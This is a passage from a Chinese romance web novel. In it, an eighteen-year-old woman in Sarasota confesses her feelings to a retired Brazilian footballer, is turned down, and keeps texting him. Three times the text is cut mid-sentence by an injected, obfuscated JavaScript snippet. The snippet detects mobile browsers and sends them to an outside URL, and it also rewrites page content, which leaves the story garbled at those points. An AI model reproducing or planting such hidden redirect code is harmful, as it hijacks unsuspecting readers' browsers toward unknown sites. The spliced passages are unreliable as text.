“好吧——”布洛迪的脸上掠过一丝遗憾,但很快又恢复了那股热情劲儿,“那我们能交换一下电话号码吗?我们可以加个WhatsApp。说不定明天我们还能一起来海边散散步,喝喝咖啡之类的。今天真是太尽兴了,不是吗?真没想到你居然认识卡卡!哈哈,今天真是托了你的福——他还在AC米兰的时候,我就已经是他的粉丝了,那时候我才八岁,他真的是那种让人疯狂着迷的球员……” “那我们手机上联系,佐伊。”布洛迪心满意足地冲我晃了晃手机,又跑到正朝我们走来的里卡多身边,依依不舍地和他说话。最后,他总算肯在他同伴们的簇拥下,像一只羽毛华丽、气势不凡的大公鸡一般,昂首阔步地退场了。 “一群热情洋溢的年轻人。”里卡多走到我们身边,目光停留在他们远去的背影上,“布洛迪是一个帅气的小伙子,他对我说了很多你的好话。”他的视线落回到我身上。 我心里莫名有些慌乱,不禁解释了一句:“其实我和他们今天才刚认识。” 我留神观察他的反应——那微笑背后似乎隐藏着一丝冷淡?我反复琢磨他的话,试图解读其中的含义。这感觉就好像自己摇身一变,成了一名手持放大镜、不放过任何蛛丝马迹的私家侦探。 倏忽间,我的心脏似乎漏跳了一拍,脑海中突然闪过一个念头,自认为捕捉到了他的言外之意。难道他在意布洛迪对我的评价?还是在暗示着什么? 于是,我按捺住内心的激动,不让脸上露出一点异样的情绪,不动声色地问他:“他都说我什么啦?” “漂亮,高挑,充满异国风情,还有一双美丽的蓝眼睛。”他已经摘掉了墨镜,脸上似笑非笑的神情让我感到脸颊微微发热,“他还很好奇我们是怎么认识的。” “那你是怎么说的?” “我告诉他,你是卢卡的朋友。” “哦。”我轻声应了一句,对这个答案不太满意。 卢卡开始在沙滩上跑来跑去,而我和他爸爸则默默无言地沿着沙滩漫步。 我偷偷地瞥了里卡多一眼,发现他的目光没有焦点,似乎沉浸在某种思绪里。 这对父子明日便要启程离开了,倘若——倘若我现在不采取一些行动,或许我们之间真的就不会再有任何交集了。在他眼中,我恐怕也仅仅只是他旅途中偶然邂逅的一个普通女孩罢了。 更糟糕的是,我们甚至还没有交换过任何联系方式! “我以前听过你的名字,我是指——‘卡卡’。”我终于打破了沉默,试图引入话题。 “那还是我读中学的时候,每年暑假我都会去马德里的外公外婆家。我舅舅家的表哥挺喜欢足球的,他提过皇家马德里、西甲、罗纳尔多、卡卡之类的词,嗯……不过我倒是没见过你的海报,只见过C罗的,因为我表哥算是C罗的球迷,C罗确实长得蛮帅的。哎呀,早知道几年后会认识你,我当初应该跟着我表哥去看一场皇马的球赛的,有点遗憾啊……” 里卡多微微偏过头,专注地听着我讲话,当我提到想去看他的球赛时,他的神色瞬间恍惚了一下。 “其实那个时候,我因为左膝盖半月板受了损伤,状态并不理想。很多时候,我不是在养伤,就是坐在替补席上。即使你当时去看了比赛,也不一定能见到我上场。” “真的吗?”我惊诧道,“那现在呢,你的腿恢复得怎么样了?” “起码你没看到我坐着轮椅。”他幽默地回答,“现在恢复得还不错。只是岁月不饶人,我的体力和速度都无法像二十多岁时那样了。” 他的语气中,不经意间流露出一丝淡淡的落寞。 “现在的你也有属于现在的风采啊!”我冲他眨了眨眼睛,“我敢保证,你依旧保持着二十岁时的帅气,甚至更加成熟,更有韵味了——至少,依然能让年轻女孩为之倾倒!” 他微微一笑:“谢谢你的安慰,佐伊。你的话让我心里好受多了。” “我说的是真心话。”此刻,我为接下来即将出口的话语紧张得心脏狂跳,仿佛那一颗心马上就要挣脱胸腔的束缚。我下意识地咽了咽口水,发现喉咙干涩得厉害,手心已满是汗水,一片湿润。 “我向来不擅长花言巧语,至少在你善于吸引女孩这一点上,我说的完全是实话。因为,你要是没有什么特殊的魅力,怎么能让我神魂颠倒呢?”话语落下,我紧张得连呼吸都停止了一瞬。 周围的空气仿佛凝固了,连微风也停下了它的轻抚。 不知何时起,我们两个人都像被无形的力量钉在了原地,动弹不得。 我侧过身,试图观察他的表情,却实在没有勇气和他对视,眼神慌乱地四处游移。 他身材高大,至少超过 185 厘米,我的视线恰好与他的脖颈平齐。我注意到他的喉结上下颤动了一下,难道他也在紧张吗? “佐伊——”他的声音低得几乎难以听见,却仿佛带着某种魔力,直直钻进我的耳中。 我犹豫了好一会儿,才倏地抬起头,目光与他交汇。 我敢发誓,他此刻的表情真的是怪异极了:令人沉醉的褐色眼睛睁得大大的,显得十分吃惊;眉毛微微蹙起,叫人说不好那是生气还是忧愁;他的双唇颤动,似乎努力地想要说些什么,却又哽在喉间,难以出声。 我的一颗心噔地一声沉了下去,整个身子都僵直了。一种不祥的预感涌上心头,我意识到接下来他要说的话可能并不是我所期待的。 我必须得说些什么。在他开口之前,我必须得说些什么!我得把心里的话都说出来。 “我知道你很受欢迎,”我语速飞快,仿佛一旦慢下来,就会被这紧张的气氛吞噬,我能感觉到血液正猛烈地撞击着我的耳后,“即便昨天没有认出你,刚刚我也意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956389|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到了这一点。但我发誓,昨天第一次见到你,我就有了一种奇异的悸动。这种感觉对我来说是全新的,它与你的名气和成就无关,只关乎你这个人本身……里卡多,你愿意和我约会吗?” 一口气说完这些话后,我像是用尽了全身的力气,双腿有些发软,但不知为何,反而有了勇气凝视他。那双褐色的眼眸如同一个满溢怅惘和惶惑的漩涡,瞬间占据了我的全部视线。 “佐伊,你听我说——” 我在听,我冷静地想。我现在实在镇定得有些过头了,只顾紧紧地盯着他脸上每一个细微的表情变化,似乎在听到答案之前,所有纷纭的心绪,所有的羞怯、紧张和不安,都是可以被抛诸脑后的。 “你才十八岁,青春逼人,大好年华。”他移开了目光,盯着地面上那些闪耀的光斑看。他的声音渐渐低沉下来。 “我在你这个年纪的时候,也有过充沛的情感和爱恋。但如今,我三十三岁了,刚刚结束了九年的婚姻,我有两个孩子,一个七岁,另一个四岁……没有人能永远年少,佐伊,而你,正处在最美好的青春时光,你应该尽情享受它,和你的同龄人共度这些日子。即使要挑选约会对象,也应该是像布洛迪那样讨人喜欢的小伙子。” 我强迫自己听完了他的话,此刻头脑里简直有一万条反驳的言辞在横冲直闯。 一阵强烈的委屈和不甘涌来,凭什么他就这样轻易地拒绝我,用这些看似为我好的理由?我想要大声反驳,想要告诉他我的感受是真实而坚定的,年龄绝不是阻碍我们的理由!但我深吸了一口气,努力告诫自己不要急躁。 “你真的觉得布洛迪那样的男孩很讨人喜欢吗?”我尽量让自己的语气听起来平静一些,可还是忍不住带上了一丝质问的意味。 他显然没料到我会这样回应他,惊讶地瞥了我一眼。 “我只是拿他举个例子。”他有些无奈地说,“这个年纪的男生,总爱做些傻事来吸引女孩的注意。除此之外,他倒还算得上是个热情大方的孩子。” “可我难道会喜欢这种幼稚虚浮的男孩吗?”我倔强地看着他,“我同龄的男生,不是只会炫耀肌肉,实则思想浅薄;就是自以为超越众人,实则好高骛远。抱歉,但我实在想不出来他们有哪些过人之处。” “你对他们有些过于严格了。”他轻声道,“对于年轻人来说,幼稚和浮夸并不令人反感,有时候倒显得可爱。” “显然你见多识广,但我想你并不懂得女孩儿的心思。”我冷冷地回应。话一出口,我就对自己语气中的气恼感到惊诧。 你说得太刻薄了,保持理智,佐伊,保持理智。这个声音在我脑海中不断回响。 他苦笑着叹了一声。“你有太多的选择,有无数的男孩渴望与你约会。” 他说得很缓慢,似乎在慎重挑选每一个字眼,“你可以在他们之中挑选一个你喜欢的,聪明的,善良的,开朗的,总会有一个人能够满足你的期待。” “可是我不喜欢他们。即使有一个完美男孩出现,我也不喜欢。”我几乎不假思索道,“因为我已经心有所属了。” 他几乎是微不可查地摇了摇头。 “我不值得你这样。或许除了一些过去的成就以外,我不过是一个再普通不过的男人。更何况,我对你来说,年纪实在是太大了。” “你所说的‘过去的成就’,是许多人穷尽一生都梦寐以求的。你站在人群的中心,拥有了这一切,却依然如此真诚友善,又有多少人能做到这一点呢?更别提你的外表和气质,比我所见过的任何一个男人都更具魅力,我又怎能不为你着迷呢?” 我的话在湿润的海风中停留了片刻。 里卡多用一种极其复杂的神情看着我,矛盾在他的眼中迸发着。我凝视着他,希望能从他的眼神中找到一丝松动的迹象,直到他最终看向别处为止。 “抱歉,佐伊。”他沉默了很久,终于艰难地开口,“我不能……” 我无法理解他的反应。 “为什么?” 一种莫名的恐慌如同硫酸一般,在我的血管里流淌、沸腾,逐渐渗透全身。 “我不明白……为什么?为什么你不愿意给我们一个机会?” 他缓缓垂下眼眸,双唇紧闭,没有再说话。 “里卡多,我能感受到,你对我并非没有好感。如果你认为年龄会是我们之间的障碍,那我必须得说,年龄或许是亲密关系中最不足为道的东西了。我相信我们之间的共鸣、共同的价值观以及对生活的热爱……这些会成为构筑关系的基石。” 我维持着自己的镇静,心中暗自思忖,我还有很多逻辑清晰、言辞优美的论点尚未说出口,它们如同整装待发的士兵,在我的头脑中挨个排好了队,准备随时为我所用。 但当我惴惴不安地观察他时,却看到他脸上浮现出的痛苦神情:一种空洞茫然的,仿佛马上要溺毙在汪洋里的窒息感。 “我不能,佐伊——你是个好姑娘,但我只是不能……”他的声音甚至有些嘶哑,“你不明白,我没有办法再进入一段新的感情了。” 4. 理智和逻辑 这世界出了毛病。 和里卡多分开后,我陷入了一种飘忽的茫然状态。 “我们交换电话号码吧。” 这是我对他说的最后一句话。我极力控制着自己的语气,不让它有丝毫的颤抖。在这之前,当看到他脸上那不寻常的痛楚的时候,我那一箩筐的反驳就连一个字都蹦不出来了。 我如同灵魂出窍一般,浑浑噩噩地飘回了酒店。大脑在那段时间里好像被什么东西给蒙住了,我没法集中注意力,更没法意识到自己在做些什么。所有芜杂的情绪,像是被一股顷刻间爆发的巨力,毫不留情地捶打、捣碎、研磨成了粉末,散落在沙滩上的每一个角落。 直到淋浴时,一阵突如其来的热水刺痛了我的皮肤,□□上的灼痛让我瞬间从迷茫中惊醒。 “这该死的世界到底是出了什么该死的毛病?!” 我毫不犹豫地将水温调至最低,再次站在淋浴喷头下,任由冰凉的水雾扑面而来。 随后,我讶然发现自己竟然在流泪——那些不知道是从哪儿冒出来的泪珠聚在睫毛上,顺着双颊直淌。 我这是怎么了?我纳闷。我渴望放声大哭,这样喉咙口也许可以松快些,不然总觉得好像有只铁爪子,在那里一个劲地抓挠、撕扯,让我痛苦不堪。但最后我也没有吭声。 我无法理解的是,既然一个人是如此温柔可亲、体恤他人,为何那些逻辑清晰、判断明智的言辞,无法撼动他固执的心呢? 我裹紧了身上的浴巾,脚步踉跄地走出浴室。 被随意扔在床上的手机遽然震动起来,打破了房间的寂静。 我一边胡乱擦拭着湿漉漉的头发,一边下意识地伸手拿起手机,指尖轻触屏幕。 紧接着,一阵轻微的战栗掠过全身。 手机屏幕上,赫然出现了里卡多的信息:佐伊,你安全回到酒店了吗? 仅仅几秒钟后,另一条新信息又迫不及待地弹了出来。 里卡多:佐伊,对不起……我会是你永远可靠的朋友。 心脏仿佛被狠狠攥住,开始一阵阵痉挛般地抽搐。 我就那样呆呆地盯着这两条信息看,直至手机屏幕因长时间未操作而自动熄灭。 “我不明白,里卡多。”我喃喃自语,“你究竟是一个怎样的人啊。” 我累极了,任由自己软绵绵地陷在床上,好像沉入了一个白茫茫、毫无边际的世界,仿佛我肌肤下的存在,只要我稍微用力,就会化为流沙把我吞没。 于我在这世上的十八年生命里,从未有过如此浓烈的爱慕,也从未经历过这样未知的恐慌。 手机屏幕又亮了起来,这次伴随而来的是一阵清脆的来电铃声。 一丝隐秘而又令人无比快活的希望,如同破土而出的幼芽,迅速从心底攀爬而起。这股力量驱使着我,几乎是慌乱地从床上跳起来抓起手机。 然而,当屏幕上显示的联系人姓名猝然入目时,这刚刚燃起的一丝希望,瞬间如泡沫般被无情戳灭。 我深深吸了一口气,试图强行平复内心翻涌的波动。 滑动屏幕,露娜红扑扑的脸蛋出现在了视频通话中。 “嗨,佐伊!” “嗨,露娜!”我努力挤出一丝浅笑。 “佛州好玩吗?帅哥多不多?有没有看到裸男?”露娜在那头开心地大喊大叫,问题一个接一个。 “景色迷人极了,阳光、沙滩、海风、浪花、椰子树,无论怎么组合都很美。裸男没看到,半裸的倒是不少,仅限沙滩上。”我尽量让自己的语气听起来轻松愉快。 “哇,听起来真是太棒了!可惜我得回家帮忙,不然真想和你一起去海边度假!那帅哥呢?有没有遇到那种肌肉偾张、让你心动的?” “帅哥——” 我顿了顿,话语在嘴边犹豫着。 “咦?是不是开始和哪个帅哥约会啦?”露娜看到我的表情,立即露出了一个了然的暧昧笑容。 我一时语塞,足足有一分钟没吭声,露娜甚至开始怀疑是不是信号不好,连声问道:“嘿,佐伊,你那边是网络卡顿了吗?” 我摇了摇头。 “我不知道该怎么说,露娜。我,遇到了一个巴西人……”我有意略去了里卡多的具体身份,只是简单地描述了我与他的邂逅。 “所以,现在的情况是你向他表白,然后被他拒绝了?”露娜直截了当地问。 “是的。”我无奈地回答。 “你能感觉到这个里卡多对你也有意思吗?”她继续追问。 “是的。”我再次确认。 “虽然我对热带地区的帅哥很有好感,但说实话,这位巴西帅哥对你来说年纪确实稍大了些,还有婚史和孩子——如果是短暂的浪漫关系,我觉得完全没问题,但要是作长远考虑,我建议你要慎重。” “可现在最大的问题是,他连约会都不愿意和我尝试。” 露娜微微皱起眉头,伸手挠了挠下巴,陷入了思考。 “按理说,你们在海边的相遇,彼此都有些暧昧的情愫,他没道理拒绝你。但你说他离婚不久,可能是还没准备好开始新的恋情。” “他觉得我太年轻了。我已经为他分析过,年龄差距并不会影响感情的发展。他也无法反驳,但他仍然固执己见。这真的让我很困惑,他明明是一个那么温和,那么善解人意的人。” “亲爱的佐伊,”露娜用一种“你在开玩笑”的眼神看着我,“你不会真的以为你能用逻辑来说服他吧?” “难道不可以吗?”我下意识地反问,“我觉得我说得很有道理,只要他认真考虑,应该能明白我的心意。” “我的老天!”露娜忍不住惊叫一声,“你一定!肯定!从来没谈过恋爱!你简直就是菜鸟中的菜鸟!”她稍稍缓了缓语气,语重心长地说,“亲爱的,你要知道,情感的障碍,可不是单凭言语就能轻易跨越的。爱情,是一种难以用逻辑解释的直觉!是反理性的。在这片领域,即使是最清晰的论据、最严密的推理,也可能显得苍白无力、错误百出……” “可是——”我试图反驳,刚说出两个字,声音就不自觉地弱了下去。 露娜摇了摇头:“亲爱的,如果你真的想赢得他的心,就把你的理性暂时塞进垃圾桶里吧,用你的心去靠近他。这个时候,你们需要的是感性的触动,而不是理性的剖析。” 挂断与露娜的视频电话后,我从冰柜中取出一罐冰镇汽水。 拉开易拉罐的瞬间,气泡急促地涌出,发出了一连串咕噜咕噜的声音,犹如我内心挣扎的回响。 闭上眼睛,让汽水的清凉在舌尖肆意舞动,思绪随之慢慢沉淀。 里卡多,我该怎么做? 滑开手机屏幕,幽蓝的光映照出时间——22:30。 他,是不是已经沉入梦乡了? 我有些犹豫,手指在屏幕上踌躇徘徊。良久,内心的纠结终究还是化作了一条编辑好的信息,发送了过去。 佐伊:很高兴能认识你,里卡多,还有卢卡,他是个很可爱的孩子。和你们在一起的时光总是很愉快。 出乎意料的是,手机很快便震动了两下。 里卡多:我还以为你在生气。 里卡多:我同样很高兴能认识你,佐伊。 里卡多:卢卡已经睡着了,明天我会告诉他你是多么喜欢他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956390|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一定会为此开心不已的。 我确实是有点生气。不过,我不愿意轻易服输。 里卡多,我分明能感觉到你对我也动了心。可你真的能把自己的感情,当作一块嚼过便随意丢弃的口香糖吗? 这些话在我心中翻涌,却终究没有诉诸屏幕。我只是再次打下一行字:你们明天就要回奥兰多了吗? 消息几乎在发出去的同时就收到了回复。 里卡多:是的。 里卡多:其实我很想在这里多停留一些时间,但后续还有其他安排。 屏幕上的手指微微颤抖了一下。你想为谁停留呢? 打下字,又迅速删除,再重新打下……反复几次,最终我只是简单地拼写出一句话。 佐伊:早点休息,祝你们明日一路顺风。 我按下发送键。 这一次,等待的时间长了一点。 里卡多:晚安,佐伊。做个好梦。(微笑.gif) 我在床上辗转反侧了很久都无法入睡。 窗帘半掩着,大片透明的落地窗袒露在眼前。今晚的月亮照得很亮,房间里的黑暗被这光芒切割,散裂成了无数朦胧细小的淡黄光束。窗外万籁俱寂,只余浪花拍打海岸的声音。 我坐起身,靠在床头,借着月光摸索床边的手机。 屏幕的冷光骤然亮起,映入眼中的是他最后发来的信息,页面依旧停留在那里。 我静静地凝视着屏幕,里卡多…… 一个念头闪过脑海——或许我可以去找一些他的比赛视频来看。 - 视频中的少年只有二十来岁,穿着红黑相间的球衣,在无数人奋臂高呼的圣西罗球场上飞奔,如同一阵来自热带雨林的风,疾速掠过草地。 他大步流星,伸展开的肢体修长而优美,每一个动作都如同协奏曲般舒畅和谐。他的手脚配合得天衣无缝,仿佛在跳着天鹅湖的舞步。 在高速带球时,他以一种近乎不费力的优雅姿态,在电光火石之间沉肩变向。这突如其来的动作,迫使迎面而来的防守者不得不匆忙做出紧急调整。就在对方失去平衡、步伐混乱的一刹那,他已如灵猫般突破,轻松推球深入。 当处于被对手前后夹击、四面包围的狭小空间时,他便运用小碎步近距离控球,每一次触球的距离,精准得仿佛是用尺子仔细量过一般。一旦防守者的脚步稍有迟缓,他便敏锐地捕捉到那一丝稍纵即逝的开阔空间,随即大步幅加速过人,同时甩开前方的堵截和后方的追兵,直捣对方禁区。 在运球节奏的掌控上,他俨然是一位登峰造极的艺术大师,全然流畅地在加速与减速间自如切换,时而疾如闪电,时而缓步慢跑,紧接着又会突然冲刺或变线,令对手疲于应对。 那颗小小的足球仿佛被赋予了鲜活的生命,在他的脚尖旋转、拨动、滚跳,像是被一根无形的皮筋牵引着,始终无法脱离他的控制。 我的目光追踪着他的身影,看他在绿茵场上挥洒汗水、恣意大笑,看他长途奔袭、纵向深入,看他和队友们默契配合、精准传球,看他因一脚远射破门而双手指天,以最虔诚的姿态感谢上帝…… 这个少年对足球的热爱如同火焰般炽热,燃烧着整个球场,也燃烧着我的心。这是我不曾见过的他,一个光芒万丈的他。 我想起他在海风中侧过头来,那双眼眸,漂浮在玫瑰色的缱绻落日之中,如同黑褐色的玻璃珠子,折射着透亮的光。那光中,仿佛蔓延出一片长满荒草的原野,承载着他的过去、现在与未来…… 现在我才知道,那是一场持续了十多年的瑰丽又宏大的梦,是他生命中不可或缺、最为重要的一部分。 5. 情感和直觉 我被手机的震动声吵醒了。 “哦,老天!” 我呻吟了一声,整个人仿佛还沉浸在梦境的泥沼中,挣扎着从枕头下面摸索出手机,将它举到面前。 窗外的阳光如同一片鲜亮的柠檬色海洋,肆意地倾泻进来。我迷迷瞪瞪地扫了一眼时间:9:30。 手机屏幕上,是里卡多发来的消息。 8:30 里卡多:佐伊,早上好。起床了吗?今天阳光明媚。 9:30 里卡多:我和卢卡现在正启程回奥兰多。真的很开心能在萨拉索塔认识你。 我翻了个身,将自己深深地埋进填充满鹅毛的蓬松枕头里。 我不清楚昨晚我是什么时候睡着的,但当意识渐渐模糊的时候,大脑里闪烁着的画面,是用各种姿势进球的里卡多。 我缓了好几分钟,才终于将脸从枕头中露出来,重新伸手抓起手机。 佐伊:你昨晚在我梦里踢了一晚上的球,所以我现在才醒。 几分钟后。 里卡多:…… 里卡多:卢卡让我代他向你道别。他邀请你有时间来巴西玩。 我回复他。 佐伊:我说的是真的。我昨晚睡不着,看了你以前在圣西罗球场踢球的视频……也请代我向卢卡问好。下次放假我一定安排巴西行。 我强撑着眼皮等了一会儿,见里卡多没有回复,便有些失落地啪的一下垂下手机。 我还想继续睡一会儿,可没过多久,室内那过于明亮的光线就如同一根根细小的针,直直地刺得我眼睛生痛。我闭着眼忍受了一会儿,在继续躺着还是起身去拉窗帘这两个选项里犹豫,最终决定直接起床。 我慢慢地坐起来,头还有些发懵。 先不去想那些烦心事了,我自忖着,先去做该做的事。 大概有四十分钟的时间,我都待在浴室里。在逼仄的空间里,时间仿佛变得扭曲而模糊。直到我发现自己已经洗了三遍脸,才如同梦游一般,拖沓着脚步走了出来。 我磨磨蹭蹭地换上一件材质舒服的吊带上衣,又从行李箱里翻找出一条牛仔短裤。十分钟后,我才恍然意识到,自己似乎已经把所有该做的事情都做完了。 我缓缓坐回床边,长吁了一口气,开始思考今天的计划。 毫无疑问,今天我不打算去海边了,因为……我绞尽脑汁,搜肠刮肚地想找出个合适的理由来。 因为阳光太好了!我生气地瞪着地板,仿佛那地板就是我所有烦恼的根源。这理由听起来很有道理,逻辑也十分顺畅!炎热的天气绝对不适宜去海边,因为将会有晒伤的风险。况且,如今的海边,也没有里卡多的身影了…… 一想到里卡多,我的心就像被野兽的尖牙猛啃了一口,传来一阵深深的刺痛。我必须竭力避免想起他,必须强迫自己不去想他此刻正朝着奥兰多远去——我拼命压下这种痛楚——我必须得想点别的事,必须立刻做点别的事。 手机不知怎的就到了我手里,又被解开了屏幕。 我下意识地刷新了一遍页面,发现我发给里卡多的消息仍然是最后一条,发消息的时间显示为9:42。 他可能正在开车,实在腾不出时间回复我。 我为他找了一个合情合理的理由,越琢磨越觉得这个可能性极大。这么一想,我的情绪稍稍有了些好转。我决定出门去找一家咖啡馆,坐下来静静消磨时光。 但很快,我对这个主意做了小小的调整。 因为布洛迪给我发来了一条消息,邀请我今天出来喝咖啡。 我对这个金发小伙子不感兴趣。倘若我没有遇到里卡多,或许不介意和他出去约会。但现在,我的全副心思都系在里卡多身上,实在不想再徒耗精力于他人。于是,我委婉地拒绝了他的邀请,转而决定买杯咖啡去书店里逛逛。 - 萨拉索塔濒临墨西哥湾,是一座人口只有三十多万的海滨小城。 从芝加哥出发没有直达萨市的航班,因此上周一启程的时候,我先飞往了坦帕,2小时40分钟后飞机平稳落地。我直接从机场租了辆车,沿着坦帕湾一路南行,历经1小时抵达萨市。 尽管在佛州众多旅游城市中,萨市并非最热门的选择,但它其实极为美丽。 它不仅拥有大片蜿蜒的海岸线和浪漫的白色沙滩——堪称世界一流,还坐落着众多艺术博物馆、音乐厅、歌剧院、植物园和各类公园。 头一周我先游历了由约翰·瑞林和美波·瑞林夫妇于上世纪二十年代创立的艺术博物馆。那是一座典型的意大利巴洛克式建筑,由豪华私人主宅,充满奇思妙想的马戏团博物馆,摆满了文艺复兴时期绘画、美国当代艺术和亚洲艺术的美术馆(我惊喜地在其中发现了好几幅鲁本斯的画作),以及美轮美奂的巨大花园组成。 之后,我在历史悠久的萨市大剧院观看了两场精彩绝伦的歌剧表演,又参观了四五家各具特色的私人艺术馆,还在栽满了丰富亚热带植物的玛丽塞尔比植物园里钻进钻出。 进入第二周,原本的计划是尽情享受海湾迷人的白沙滩。但显然,现在的我无论如何也没有心情去沙滩上了。 “人们总是会用自己的行动来否定自己的计划。”我嘟囔着,随后用力关上了车门。 我先驾车前往最近的商场买了一杯咖啡。我对咖啡并没有太过挑剔的口味,只要它是由不错的咖啡豆研磨而成,能带给我片刻温暖便已足够。然后,我在车载导航里输入一家独立书店的名字。这家书店以独特的选书品味在网上颇受好评。 书店位于一处很有艺术气氛的街区。我停好车,手托着咖啡,按照步行导航的指引走过去。 在这条街的转角处,书店大门静静敞开着。店内空间宽敞,天花板中央垂挂着一盏造型独特的艺术吊灯。黑色金属书架错落陈列,雕塑与装饰点缀其间。靠近橱窗的一侧,沙发与阅读桌静候,组成一个宁静的阅读天地。 我信步在店内逛了一圈,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956391|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书架上抽出几本世界史方面的书,细细读了简介和目录,又在几个塔纳格拉陶俑面前驻足端详了一番,拿不准它们是真货还是赝品。最后,我在“员工推荐”区域停下脚步。 在“员工推荐”书架上,每一本书的下方都端端正正地贴着一张卡片,上面是书店员工们精心撰写的书评。 “‘时间和机遇并不是亲密程度的决定因素,是否愿意才是。对于一些人而言,想彼此了解,七年的时间也是不够的,而对另一些人而言,七天就已经太多了。’——简·奥斯丁 然而,愿意也并非万能,热切的爱不一定能唤起对方的爱,情感应受到理智的制约。” 我轻声念出上面的一段书摘和书评,心中泛起一丝波澜。目光不知不觉地往上移了几厘米,简·奥斯丁的《理智与情感》静静地躺在那里。 我若无其事地移开视线,转向另一条书评。 “一个人一旦失去了理智,就如同一艘失去舵手的船只,即便侥幸未触礁,也难以再驶向正确的航道。理智的丧失不仅会让人迷失方向,更可能使其在人生的道路上陷入困境,一败涂地。” 这是对道格拉斯?肯里克的《理性动物》的解读。看着这段评论,我的面色变得有些古怪。 这难道是某种巧合吗?我紧紧抿着嘴唇。偏偏在我满心纠结,不知该如何对待里卡多的时候…… “爱情是本能和思想,是疯狂和理性,是自发性和自觉性,是一时的激情和道德修养,是感受的充实和想象的奔放,是残忍和慈悲,是餍足和饥渴,是淡泊和欲望,是烦恼和欢乐,是痛苦和快感,是光明和黑暗。爱情把人的种种体验熔于一炉。爱情只知道它本身,它只信仰自己的宗教,只受自己法律的约束,爱情的法律是自由的。” 这一段书摘,出自基里尔?瓦西列夫的《情爱论》。爱情既有着疯狂和激情的一面,又需要理智和道德的约束。我对里卡多的感情,究竟是一时的冲动,还是真的找到了那个特别的人? 我认真地把书架上的书评都看了一遍,而后犹豫了片刻,从口袋里掏出手机。 屏幕依旧一片死寂,没有新的消息提示。 数字时钟仿佛在无声地嘲讽着我,轻轻跳跃了一位,于是时间来到了12:00。 他应该已经顺利抵达奥兰多了吧。 “嘿,看来你选了我们这个月的员工推荐书。” 柜台后的店员接过书,目光扫了一眼书名,顿时显得格外开心:“我们每个月都会举办不同主题的员工阅读活动。这是我们书店的特色。这个月的主题是‘理智与情感’。” 我惊讶的表情似乎让她觉得很有趣,她冲我眨了眨眼:“人们总是热衷于对爱情做出理论阐释,可得出的结论往往是自相矛盾、彼此抵触、互不相容的。” 说罢,她利落地扫完码,将那本《情爱论》仔细包装好,递到我手中。“不过,看起来你已经做出了自己的选择。当月员工推荐书有折扣,打完折后是8刀,感谢您的惠顾。” 6. 星夜里的出走 我把书放到副驾驶位上,打开车载音响,挑选了一张节奏轻快的爵士乐专辑。 就在这时,手机屏幕上跳出了一条新消息。 里卡多:抱歉,没及时回复你。一直在开车。我和卢卡已经到达奥兰多了,现在正在吃午餐。 一种乍然的雀跃从心底迸发出来,迅速流淌过四肢。我猜对了!他果然是因为一直在开车才没回复我! 刹那间,我才惊觉自己一上午都处于紧绷的状态中。直到此刻,全身的肌肉才如释重负般地放松下来。 悠扬的爵士旋律开始在车里流淌。我随手调整了一下座椅的角度,让自己可以更舒服地窝在驾驶座上。正在回复时,里卡多又发来了一条消息。 里卡多:你觉得我踢得怎么样?嗯……我为AC米兰效力的时候,才二十多岁,那是我职业生涯中最好的几年。 我犹豫了一下,删掉已经打好的回复内容,重新输入。 佐伊:踢得好极了!这是我第一次看球赛,虽然只是透过屏幕,而且我对足球规则还仅仅是一知半解,但我的目光自始至终都无法从你身上移开。真遗憾没能在你二十岁的时候认识你! 我轻轻按下发送键,略作思索后,又补充了一条消息。 佐伊:你和卢卡在吃什么?巴西烤肉吗?(好奇.gif) 过了半分钟,手机屏幕再次亮起。 里卡多:披萨……我倒是比较想吃巴西烤肉。我二十多岁的时候,你还是个小不点。我一只手就能把你举过头。不过,你小时候应该很可爱。 一只手把我举起来?我眯起眼睛,脑海中浅浅地勾勒出这幅画面,唇畔忍不住上扬,带出一抹笑容。 佐伊:我小时候可是相当凶的!你要是突然这么做,我没准真会咬你一口。话说回来,我也很喜欢吃披萨,嗯,就是那种加了菠萝的,会被意大利人追杀的那种口味。至于巴西烤肉嘛,我还真没尝过。 里卡多:咬我?! 佐伊:不过,我不会凶心地善良的孩子。你那会儿一看就乖巧得如同天使,所以…… 我可能会给你一个甜蜜的吻。哈哈。 里卡多:哈哈,那就跟我女儿一样,她也特别喜欢亲我。呃,我和意大利人关系挺不错的,如果他们真来追杀你,我会帮你挡住。 里卡多:以后要是有机会,我请你尝尝地道的巴西烤肉。 跟他女儿一样?我扬起眉毛。 佐伊:真羡慕有女儿的人!我对美食可是来者不拒,西班牙菜、葡萄牙菜、意大利菜、中餐…… 只要是美味可口的,我统统都爱。希望巴西烤肉也能一举征服我的味蕾。 里卡多:那绝对没问题。你知道吗,在我这儿,朋友只分两种。 